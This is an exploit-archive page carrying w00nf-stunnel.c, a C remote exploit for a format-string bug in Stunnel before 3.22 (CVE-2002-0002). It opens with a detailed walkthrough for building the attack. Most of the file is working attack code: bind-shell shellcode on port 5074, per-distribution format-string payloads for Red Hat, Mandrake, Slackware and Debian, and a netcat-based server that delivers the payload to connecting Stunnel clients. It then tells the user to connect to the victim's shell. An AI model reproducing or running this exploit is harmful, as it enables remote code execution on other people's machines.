what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

w00nf-stunnel.c

w00nf-stunnel.c
Posted Jan 17, 2003
Authored by ^sq/w00nf | Site w00nf.org

Stunnel v3.15 - 3.21 remote format string exploit. Tested against Red Hat 7.2, 7.3, 8.0, Slackware 8.1, Debian GNU 3.0, and Mandrake 9.0. More information on the bug available here.

tags | exploit, remote
systems | linux, redhat, slackware, debian, mandrake
advisories | CVE-2002-0002
SHA-256 | 532b98b86e389878816da8e1e91e5367bcb977b9463a85ff0fd56f7f70b0b4fd

w00nf-stunnel.c

Change Mirror Download
/*
* Stunnel < 3.22 remote exploit
* by ^sq/w00nf - deltha [at] analog.ro
* Contact: deltha@analog.ro
* Webpage: http://www.w00nf.org/^sq/
*
* ey ./w00nf-stunnel contribs - kewlthanx :
* nesectio, wsxz, soletario, spacewalker, robin, luckyboy, hash, nobody, ac1d, and not @ the end: bajkero
*
* You also need netcat and format strings build utility (from my webpage)
* Compile: gcc -w -o w00nf-stunnel w00nf-stunnel.c
*
* . . .. ......................................... ...
* . ____ ____ _____ :.:.:
* : _ __/ __ \/ __ \____ / __/ :..
* :.. | | /| / / / / / / / / __ \/ /_ :
* ..:.. | |/ |/ / /_/ / /_/ / / / / __/ :
* :.: :.. |__/|__/\____/\____/_/ /_/_/ .
* : : :..
* :.: :............................................... .. . .
* T . E . A . M
*
* POC - Tested remotely on linux
* Stunnel is a program that allows you to encrypt arbitrary TCP connections inside SSL
* Visit http://www.stunnel.org for details
*
* I didn't add a search function or bruteforce attack because the vulnerability does'nt allow you
* to grab the remote stack.
*
* Description of this exploit:
* This exploit puts a payload on a specified port. When a remote user connects to your machine
* using stunnel on the specified port, the exploit executes this payload and binds a shell to the
* remote users machine on port 5074.
*
* Summary:
* Malicious servers could potentially run code as the owner of an Stunnel process when using
* Stunnel's protocol negotiation feature in client mode.
*
* Description of vulnerability:
* Stunnel is an SSL wrapper able to act as an SSL client or server,
* enabling non-SSL aware applications and servers to utilize SSL encryption.
* In addition, Stunnel has the ability to perform as simple SSL encryption/decryption
* engine. Stunnel can negotiate SSL with several other protocols, such as
* SMTP's "STARTTLS" option, using the '-n protocolname' flag. Doing so
* requires that Stunnel watches the initial protocol handshake before
* beginning the SSL session.
* There are format string bugs in each of the smtp, pop, and nntp
* client negotiations as supplied with Stunnel versions 3.3 up to 3.21c.
*
* No exploit is currently known, but the bugs are most likely exploitable.
*
* Impact:
* If you use Stunnel with the '-n smtp', '-n pop', '-n nntp' options
* in client mode ('-c'), a malicous server could abuse the format
* string bug to run arbitrary code as the owner of the Stunnel
* process. The user that runs Stunnel depends on how you start
* Stunnel. It may or may not be root -- you will need to check
* how you invoke Stunnel to be sure.
* There is no vulnerability unless you are invoking Stunnel with
* the '-n smtp', '-n pop', or '-n nntp' options in client mode.
* There are no format string bugs in Stunnel when it is running as an SSL
* server.
*
* Mitigating factors:
* If you start Stunnel as root but have it change userid to some other
* user using the '-s username' option, the Stunnel process will be
* running as 'username' instead of root when this bug is triggered.
* If this is the case, the attacker can still trick your Stunnel process
* into running code as 'username', but not as root.
* Where possible, we suggest running Stunnel as a non-root user, either
* using the '-s' option or starting it as a non-privileged user.
*
* Triggering this vulnerability - example for kidz:
* Obtain a shell account on to-be-hacked's server and perform the following commands:
* sq@cal013102: whereis stunnel
* stunnel: /usr/sbin/stunnel
* change directory to where is stunnel
* Obtain vsnprintf's R_386_JUMP_SLOT:
* sq@cal013102:~/stunnel-3.20$ /usr/bin/objdump --dynamic-reloc ./stunnel |grep printf
* 08053470 R_386_JUMP_SLOT fprintf
* ---->080534a8 R_386_JUMP_SLOT vsnprintf
* 080535a4 R_386_JUMP_SLOT snprintf
* 08053620 R_386_JUMP_SLOT sprintf
* open 2 terminals
* in the first terminal make netcat connect to a port (eg 252525)
* sq@cal013102:~/stunnel-3.20$ nc -p 252525 -l
* in the second terminal (remote) simulate attack
* ./stunnel -c -n smtp -r localhost:252525
* in the first terminal with nc insert a specially crafted string to grep eatstack value
* AAAABBBB%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|
* in the second terminal (remote) it will return the stack values and see at which position
* 41414141 and 424242 appeared
* AAAABBBB|bffff868|bffffb60|bffffece|bffffed3|80503ae|40275580|4016bfc4|
* 4027f3c4|41414141|42424242|257c7825|78257c78|7c78257c|
* 257c7825|78257c78|7c78257c| ->414141=9 and 424242=10
* try again with to see if eatstack value is 9 AAAABBBB%9$x%10$x and it will return AAAABBBB4141414142424242
* put the address obtained with objdump in hex little endian format \xa8\x34\x05\x08 and last value +2 \xaa\x34\x05\x08
* (a8+2=aa) and generate the decimal value of format string after you got the middle of nops value on stack 0xbffff89b
* with build, a program attached to this exploit.
* ./build 080534a8 0xbffff89b 9
* adr : 134558888 (80534a8)
* val : -1073743717 (bffff89b)
* valh: 49151 (bfff)
* vall: 63643 (f89b)
* [ª¨%.49143x%9$hn%.14492x%10$hn] (35)
* ª¨%.49143x%9$hn%.14492x%10$hn
* The resulting string is %.49143x%9$hn%.14492x%10$hn ->
* "'`%.32759u%9\$hn%.32197u%10\$hn replace eatstack 10 with 9 otherwise it won't work
* eg "'`%.32759u%10\$hn%.32197u%9\$hn
* Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x
* Bind the payload to a port ./netcat -p 252525 -l <x
* Simulate the payload attack ./stunnel -c -n smtp -r localhost:252525
* Add your own crafted format in the exploit:
* char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf
* char fmtYOUROWN[]=""; R_386_JUMP_SLOT vsnprintf
* Simulate the payload attack with this exploit ./w00nf-stunnel -t 6 -p 252525 t6 would be your custom payload
* after you added your string in the exploit.
* If stunnel was compiled with gdb support and you set ulimit -c 9024 or whatever to coredump on your terminal
* then stunnel will coredump if you didn't guess the exact stackvalue in the middle of nops.
* If stunnel wasn't compiled with gdb support then download it from the stunnel website
* and compile with gdb support.
* Once you have downloaded it run './configure edit Makefile' , and where you see 'CFLAGS' add '-g -ggdb3'
* eg. 'cat Makefile |grep CFLAGS'
* CFLAGS=-g -ggdb3 -O2 -Wall -I/usr/local/ssl/include -DVERSION=\"3.20\" -DHAVE_OPENSSL=1 -Dssldir=\"/usr/local/ssl\"
* -DPEM_DIR=\"\" -DRANDOM_FILE=\"/dev/urandom\" -DSSLLIB_CS=0 -DHOST=\"i586-pc-linux-gnu\" -DHAVE_LIBDL=1
* DHAVE_LIBPTHREAD=1 -DHAVE_LIBUTIL=1 -DHAVE_LIBWRAP=1 etcetc
* Open core in gdb sq@cal013102:~/stunnel-3.20$gdb ./stunnel core.2411
* x/10i $esp and press enter a couple of times till you find 'nop nop nop nop nop nop'.
* Get the stack address in the middle of nops, 0xbffff89b is my address
* and build (9 is eatstack) again with the ./build utility
* Rebuild and repeat.
* ./build 080534a8 0xbffff89b 9
* Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x
* ./w00nf-stunnel -t 6 -p 252525 t6 is your custom payload and it will bind a shell on 5074 :)
* If it worked then add your own crafted format in the exploit
* char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf
* char fmtYOUROWN[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; R_386_JUMP_SLOT vsnprintf
*
*/

#include <fcntl.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <getopt.h>
#include <stdlib.h>
#include <memory.h>
#include <errno.h>
#include <syslog.h>

int MAX;
char linuxshellcode[] =
/* <priv8security>: bind@5074 */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90" /* nop */
"\x90\x90\x90\x90\x90\x90" /* nop */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x40" /* inc %eax */
"\x89\xc3" /* mov %eax,%ebx */
"\x50" /* push %eax */
"\x40" /* inc %eax */
"\x50" /* push %eax */
"\x89\xe1" /* mov %esp,%ecx */
"\xb0\x66" /* mov $0x66,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xd2" /* xor %edx,%edx */
"\x52" /* push %edx */
"\x66\x68\x13\xd2" /* pushw $0xd213 */
"\x43" /* inc %ebx */
"\x66\x53" /* push %bx */
"\x89\xe1" /* mov %esp,%ecx */
"\x6a\x10" /* push $0x10 */
"\x51" /* push %ecx */
"\x50" /* push %eax */
"\x89\xe1" /* mov %esp,%ecx */
"\xb0\x66" /* mov $0x66,%al */
"\xcd\x80" /* int $0x80 */
"\x40" /* inc %eax */
"\x89\x44\x24\x04" /* mov %eax,0x4(%esp,1) */
"\x43" /* inc %ebx */
"\x43" /* inc %ebx */
"\xb0\x66" /* mov $0x66,%al */
"\xcd\x80" /* int $0x80 */
"\x83\xc4\x0c" /* add $0xc,%esp */
"\x52" /* push %edx */
"\x52" /* push %edx */
"\x43" /* inc %ebx */
"\xb0\x66" /* mov $0x66,%al */
"\xcd\x80" /* int $0x80 */
"\x93" /* xchg %eax,%ebx */
"\x89\xd1" /* mov %edx,%ecx */
"\xb0\x3f" /* mov $0x3f,%al */
"\xcd\x80" /* int $0x80 */
"\x41" /* inc %ecx */
"\x80\xf9\x03" /* cmp $0x3,%cl */
"\x75\xf6" /* jne 80a035d <priv8security+0x3d> */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp,%ebx */
"\x52" /* push %edx */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */

char fmtRH72[]="\x50\x71\x05\x08\x52\x71\x05\x08%.49143x%4\$hn%.12881x%3\$hn"; /* 08057150 R_386_JUMP_SLOT vsnprintf */
char fmtRH73[]="\xe8\x69\x05\x08\xea\x69\x05\x08%.49143x%4\$hn%.12982x%3\$hn"; /* 080569e8 R_386_JUMP_SLOT vsnprintf */
char fmtRH80[]="\x28\x69\x05\x08\x2a\x69\x05\x08%.49143x%4\$hn%.12815x%3\$hn"; /* 08056928 R_386_JUMP_SLOT vsprintf */
char fmtMDK90[]="\xf8\x23\x05\x08\xfa\x23\x05\x08%.49143x%4\$hn%.13321x%3\$hn"; /* 080523f8 R_386_JUMP_SLOT vsnprintf */
char fmtSLACK81[]="\xdc\x69\x05\x08\xde\x69\x05\x08%.49143x%10\$hn%.12082x%9\$hn"; /* 080569dc R_386_JUMP_SLOT vsnprintf */
char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; /* 080534a8 R_386_JUMP_SLOT vsnprintf */
char fmtYOUROWN[]=""; /* R_386_JUMP_SLOT vsnprintf */

char c;
struct os {
int num;
char *ost;
char *shellcode;
char *format;
int flag;
};

struct os plat[] =
{
{
0,"Red Hat Linux release 7.2 stunnel-3.20.tar.gz",
linuxshellcode,fmtRH72,11
},
{
1,"Red Hat Linux release 7.3 stunnel-3.20.tar.gz",
linuxshellcode,fmtRH73,11
},
{
2,"Red Hat Linux release 8.0 stunnel-3.20.tar.gz",
linuxshellcode,fmtRH80,11
},
{
3,"Mandrake Linux release 9.0 stunnel-3.20.tar.gz",
linuxshellcode,fmtMDK90,11
},
{
4,"Slackware Linux release 8.1 stunnel-3.20.tar.gz",
linuxshellcode,fmtSLACK81,5
},
{
5,"Debian GNU release 3.0 stunnel-3.20.tar.bz2",
linuxshellcode,fmtDEBIAN30,5
},
{
6,"Your custom distro stunnel-3.20.tar.bz2",
linuxshellcode,fmtYOUROWN,5
}

};

void usage(char *argument);
int main(argc,argv)
int argc;
char *argv[];
{

int type=0;
int flag=plat[type].flag;
extern char *optarg;
int cnt;
char newstring[300];
int port = 994;
const char* sploitdata_filename = "sploitdata.spl";
static int fd[2];
static pid_t childpid;
static char str_port[6];

void write_sploit_data (char* entry)
{
int fd = open (sploitdata_filename, O_WRONLY | O_CREAT | O_APPEND, 0660);
write (fd, entry, strlen (entry));
write (fd, "\n", 1);
fsync (fd);
close (fd);
}
if(argc == 1)
usage(argv[0]);
if(argc == 2)
usage(argv[0]);
if(argc == 3)
usage(argv[0]);
while ((c = getopt(argc, argv, "h:p:t:v")) > 0 ){
switch (c) {
case 't':
type = atoi(optarg);
if(type>6) /* 0,1,2,3,4,5,6 */
{
(void)usage(argv[0]);
}
break;
case 'p':
port = atoi(optarg);
break;
case 'h':
usage(argv[0]);
case '?':
case ':':
exit(-1);
}
}
MAX=strlen(plat[type].format)+strlen(plat[type].shellcode);
fprintf(stdout,"Remote exploit for STUNNEL <3.22\nby ^sq/w00nf - deltha [at] analog.ro\n");
fprintf(stdout,"[*] target: %s\n",plat[type].ost);
fprintf(stdout,"[*] maxlenght: %d\n", MAX);
unlink (sploitdata_filename);
strcpy(newstring, plat[type].format);
strcat(newstring, plat[type].shellcode);
write_sploit_data(newstring);
sprintf((char *) &str_port, "%d", port);
printf("[*] host: localhost\n");
printf("[*] port: %s\n", str_port);
printf("[*] waiting: jackass should connect to our port\n");
printf("[*] next: after he connects press ctrl-c\n");
printf("[*] next: you should try to connect to his port 5074 - nc 1.2.3.4 5074\n");
pipe(fd);
if (( childpid=fork())==0) { /* cat is the child */
dup2(fd[1],STDOUT_FILENO);
close(fd[0]);
close(fd[1]);
execl("/bin/cat","cat",sploitdata_filename,NULL);
perror("The exec of cat failed");
} else { /* netcat is the parent */

dup2(fd[0], STDIN_FILENO);
close(fd[0]);
close(fd[1]);
execl("/usr/bin/nc", "nc", "-n", "-l", "-p", str_port, NULL);
perror("the exec of nc failed");
}
printf("[*] next: now you should try to connect to his port 5074\n");
exit(0);
}

void usage(char *argument)
{
fprintf(stdout,"Usage: %s -options arguments\n",argument);
fprintf(stdout,"Remote exploit for STUNNEL <3.22\n"
"by ^sq/w00nf - deltha [at] analog.ro\nUsage: %s [-p <port> -t <targettype>]\n"
"\t-p <port> - Local binded port where the remote stunnel connects\n"
"\t-t <target> - Target type number\n", argument);
fprintf(stdout,"\t-Target Type Number List-\n");
fprintf(stdout," {0} Red Hat Linux release 7.2 "
" stunnel-3.20.tar.gz\n");
fprintf(stdout," {1} Red Hat Linux release 7.3 "
" stunnel-3.20.tar.gz\n");
fprintf(stdout," {2} Red Hat Linux release 8.0 "
" stunnel-3.20.tar.gz\n");
fprintf(stdout," {3} Mandrake Linux release 9.0 "
" stunnel-3.20.tar.gz\n");
fprintf(stdout," {4} Slackware Linux release 8.1 "
" stunnel-3.20.tar.gz\n");
fprintf(stdout," {5} Debian GNU release 3.0 "
" stunnel-3.20.tar.gz\n");
fprintf(stdout," {6} Your custom distro "
" stunnel-3.20.tar.gz\n");
fprintf(stdout," Example1: %s -t 1 -p 252525\n",argument);
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close